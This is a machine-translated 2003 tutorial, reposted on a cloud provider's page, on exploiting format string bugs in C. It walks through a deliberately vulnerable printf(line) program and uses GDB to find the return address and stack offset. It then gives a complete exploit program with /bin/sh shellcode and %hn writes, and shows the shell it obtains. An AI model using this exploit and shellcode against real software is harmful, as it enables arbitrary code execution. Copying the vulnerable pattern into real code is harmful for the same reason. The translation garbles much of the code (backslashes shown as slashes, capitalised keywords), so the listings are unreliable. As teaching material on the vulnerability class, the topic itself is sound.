Summary of Format String Vulnerabilities (2)

Source: Internet
Author: User

Summary of Format String Vulnerabilities (2)
Bkbll (bkbll@cnhonker.net)
2003/4/8
2. Format stirng vulnerability Exploitation
As discussed above, it is easy to know that if we want to run our shellcode, we must know three pieces of data:
1. The address we want to write, want_write_addr
2. The number of digits after the printf parameter is our custom data address, pad, that is, the value of stack Popup.
3. Our shellcode address.
Why do we need to know the pad value? Printf provides a $ parameter that allows you to customize the display data without displaying parameters one by one. For example:
[Bkbll @ mobile fmtxp_lib] $ cat 7.c
Main ()
{
Int I = 1, j = 2;

Printf ("J = % 2 $ d I = % 1 $ D/N", I, j );

}
[Bkbll @ mobile fmtxp_lib] $ CC 7.c;./A. Out
J = 2 I = 1
[Bkbll @ mobile fmtxp_lib] $
With this $ parameter, we can easily control the data address written to an address:
For example, if we want to write 900 to Variable N, we can write as follows:
[Bkbll @ mobile fmtxp_lib] $ cat 8.c
Main ()
{
Int n = 0;
Printf ("before printf, n = % d/N", N );
Printf ("% 800d % n/n", 1, & N );
Printf ("after printf, n = % d/N", N );
}
[Bkbll @ mobile fmtxp_lib] $ CC 8.c;./A. Out
Before printf, n = 0
1
After printf, n = 800.
[Bkbll @ mobile fmtxp_lib] $
We have introduced the general application above. Let's take a look at it and use a program provided by scut as an example:
[Bkbll @ mobile fmtxp_lib] $ cat vuln. c

# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>

Void Foo (char * line );

Int
Main (INT argc, char * argv [])
{
File * F;
Char line [1024];

F = fopen (argv [1], "rb ");
If (F = NULL ){
Fprintf (stderr, "Usage: % s file/N", argv [0]);

Exit (exit_failure );
}

Fgets (line, sizeof (line)-1, F );
Line [1023] = '/x00 ';
Foo (line );

Exit (exit_success );
}

Void
Foo (char * line)
{
Printf (line );
}
The program reads a row (<1024) from the file and then shows that there is a formatting string vulnerability in the foo function.
The following methods are generally used to use format string:
1. Overwrite got
2. Use dtors
3. Use C library hooks
4. Use the atexit structure (only the static version can be compiled)
5. overwrite the return address of the function.
. Here I want to introduce three methods, covering got, dtors, and function return. The other methods are similar.
For more information about the meanings of got tables and dtors segments, see.
3. overwrite the return address of the function:
First, we need to know the want_write_addr and pad and shellcode ADDR values,
Let's first track the vuln program:
[Bkbll @ mobile fmtxp_lib] $ echo "aaaa"> 6
[Bkbll @ mobile fmtxp_lib] $ GDB-Q vuln
(GDB) x/I foo
0x80484c4 <Foo>: Push % EBP
(GDB) B * 0x80484c4
Breakpoint 1 at 0x80484c4: file vuln. C, line 30.
(GDB) R 6
Starting program:/home/bkbll/format/examples/fmtxp_lib/vuln 6

Breakpoint 1, Foo (line = 0x2 <address 0x2 out of bounds>) at vuln. C: 30
30 {
(GDB) x/wx $ ESP
0xbffff67c: 0x080484b6
The return address of the foo function is 0xbffff67c, that is, the want_write_addr address.
(GDB) x/I printf
0x42052390 <printf>: Push % EBP
(GDB) B * 0x42052390
Breakpoint 2 at 0x42052390
(GDB) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from/lib/i686/libc. so.6
(GDB) x/16wx $ ESP
0xbffff65c: 0x080484d5 0xbff690 0x4000a190 0x42062a9d
0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
Here we can get the pad value. Our printf parameter is 0xbffff690:
(GDB) x/s 0xbffff690
0xbffff690: "AAAA/N"
Our real parameters appear at 0xbffff68c + 4. Let's calculate the number of addresses to be skipped in the middle:
0xbffff68c + 4-0xbffff65c-8 = 0x2c
0x2c/4 = 11, that is to say, 11 pointer data must be passed in the middle to reach, so:
Pad = 11 + 1 = 12 (12th pointer data)
The shellcode address we got from the front must be at 0xbffff690 + X. It is similar to the buffer overflow. we can fill in the appropriate NOP Command, as long as there are not too many X commands, we can jump the command to our NOP, and our shellcode can be executed.
Let's look at the exploitation program:
[Bkbll @ mobile fmtxp_lib] $ cat x1.c
/* Overwrite return ADDR by our shellcode address
* Coded by bkbll (bkbll@cnhonker.net)
*/
# Include <stdio. h>
# Include <stdlib. h>
# Include <strings. h>

# Define want_write_addr 0xbffff67c/* address of the return address of the foo function */
# Define pad 12/* Number of pointer-type address data to be passed */
# Define straddr 0xbffff690/* User-Defined start data address */
Char shellcode [] =
"/Xeb/x1d/x5e/x29/xc0/x88/X46/x07/x89/X46/x0c/x89"
"/X76/x08/xb0/x0b/x87/xf3/x8d/x4b/x08/x8d/x53/x0c"
"/XCD/X80/x29/xc0/X40/XCD/X80/xe8/xde/xFF"
"/Bin/sh ";
Main ()
{
Int high_ret, low_ret;
Char buffer [1024];
Int J = 0;
Int shell_addr_pad = 0x50;
Int rea_high_ret, rea_low_ret;
Int print_acc;
Memset (buffer, 0x90,1024 );
Buffer [1023] = 0;
/* Because we cannot write the shellcode address into want_write_addr, we only need to write the shellcode address in two parts: the first four digits and the last four digits. For the first time, write the shellcode address in less than one vertex, the difference between the two is exactly met */
High_ret = (straddr + shell_addr_pad)> 16) & 0 xFFFF;
Low_ret = (straddr + shell_addr_pad) & 0 xFFFF;
If (high_ret = low_ret) Exit (0);/* it is impossible to change the length */
Rea_high_ret = high_ret;
Rea_low_ret = low_ret;
If (high_ret <low_ret) {rea_high_ret = low_ret; rea_low_ret = high_ret;}/* confirm that the minimum data is written first */
Print_acc = rea_high_ret-rea_low_ret;
Fprintf (stderr, "use shell ADDR: % P/N", straddr + shell_addr_pad );
/* 0xbffff67c */
Buffer [0] = want_write_addr & 0xff;
Buffer [1] = (want_write_addr> 8) & 0xff;
Buffer [2] = (want_write_addr> 16) & 0xff;
Buffer [3] = (want_write_addr> 24) & 0xff;
/* 0xbffff67c + 2. With the above data, a 4-byte pointer can be written */
Buffer [4] = (want_write_addr + 2) & 0xff;
Buffer [5] = (want_write_addr + 2)> 8) & 0xff;
Buffer [6] = (want_write_addr + 2)> 16) & 0xff;
Buffer [7] = (want_write_addr + 2)> 24) & 0xff;
J = 8;
J + = sprintf (buffer + J, "% DP % d $ HN", rea_low_ret-j, pad + 1, print_acc, PAD);/* the relatively small value is 0x0000bffff, and the relatively large value is 0x0000f690 + 0x50, but bfff happens to be the top four digits of the address, so we need to write 13th pointers, that is, 0xbffff67c + 2, while f690 + 50 is written to 12th pointers, that is, 0xbffff67c. % HN is used to write a 2-byte data, short type, instead of the default int type */
Buffer [J] = 0x90;/* Add a NOP */
Sprintf (buffer + (1022-strlen (shellcode)-1), "% S/x00", shellcode );
If (j> = 1024) {printf ("Please realloc buffer to % d/N", J + 1); exit (0 );}
Printf ("% s/n", buffer );
}
Okay. Let's try this exploit:
[Bkbll @ mobile fmtxp_lib] $./x1> 1
Use shell ADDR: 0xbffff6e0
[Bkbll @ mobile fmtxp_lib] $./vuln 1
........................................ (Space and unwanted information)
Running) Running tables running/bin/sh
Sh-2.05b $ ID
Uid = 500 (bkbll) gid = 500 (bkbll) groups = 500 (bkbll)
Sh-2.05b $
Succeeded. Let's track the program to see if it meets the requirements.
[Bkbll @ mobile fmtxp_lib] $ GDB-Q vuln
(GDB) x/I foo
0x80484c4 <Foo>: Push % EBP
(GDB) B * 0x80484c4
Breakpoint 1 at 0x80484c4: file vuln. C, line 30.
(GDB) R 1
Starting program:/home/bkbll/format/examples/fmtxp_lib/vuln 1

Breakpoint 1, Foo (line = 0x2 <address 0x2 out of bounds>) at vuln. C: 30
30 {
(GDB) x/wx $ ESP
0xbffff67c: 0x080484b6/* return address */
(GDB) disass foo
Dump of worker er code for function FOO:
0x80484c4 <Foo>: Push % EBP
0x80484c5 <Foo + 1>: mov % ESP, % EBP
0x80484c7 <Foo + 3>: Sub $0x8, % ESP
0x80484ca <Foo + 6>: Sub $ 0xc, % ESP
0x80484cd <Foo + 9>: pushl 0x8 (% EBP)
0x80484d0 <Foo + 12>: Call 0x8048350 <printf>
0x80484d5 <Foo + 17>: add $0x10, % ESP
0x80484d8 <Foo + 20>: Leave
0x80484d9 <Foo + 21>: Ret
End of worker er dump.
(GDB) B * 0x80484d5
Breakpoint 2 at 0x80484d5: file vuln. C, line 31.
(GDB) c
Running) Running tables running/bin/sh

Breakpoint 2, 0x080484d5 in Foo (
Line = 0xbffff690 "|? Why ?? 49143 P % 13 $ HN % 14049 P % 12 $ HN ", '/100' <repeats 220 times>...) at vuln. C: 31
31 printf (line );
(GDB) x/wx 0xbffff67c/* Check what content should be put in the address of the returned address */
0xbffff67c: 0xbffff6e0
(GDB) x/I 0xbffff6e0/* has been replaced with our own buffer ADDR */
0xbffff6e0: NOP
(GDB)
0xbffff6e1: NOP
(GDB)
0xbffff6e2: NOP/* jump to the NOP command */(GDB) c
Continuing.

Program received signal sigtrap, trace/breakpoint trap.
0x40000b30 in _ start () from/lib/ld-linux.so.2
OK./bin/sh has been jumped in.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.